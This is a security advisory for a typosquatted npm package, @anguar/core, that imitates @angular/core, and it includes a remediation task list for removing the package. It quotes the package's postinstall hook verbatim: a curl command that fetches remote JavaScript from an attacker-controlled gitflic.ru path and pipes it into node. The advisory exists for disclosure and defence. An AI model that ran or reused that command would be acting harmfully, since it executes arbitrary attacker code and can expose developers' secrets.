MAL-2026-17535 Malicious code in @anguar/core (npm)
Malicious package
Published
MAL-2026-17535 is a malicious package: @anguar/core (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-17535/ (Markdown: https://insights.sbomify.com/MAL-2026-17535/index.md)
- Package
- @anguar/core
- Registry
- npm
What is MAL-2026-17535?
MAL-2026-17535 is a malicious package in @anguar/core, published on 5 Oct 2026.
Official description
Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata are copied from the real @angular/core. The package.json declares a postinstall lifecycle hook that runs
curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from a gitflic.ru path under the user hellscripter (proxied through web.archive.org) and piping it into Node. The remote source is unpinned, unverified, hosted on infrastructure unrelated to the Angular project, and under full control of a third party. Any developer who mistypes the Angular scope and runs npm install will execute arbitrary attacker-controlled code on their machine.What should I do about MAL-2026-17535?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.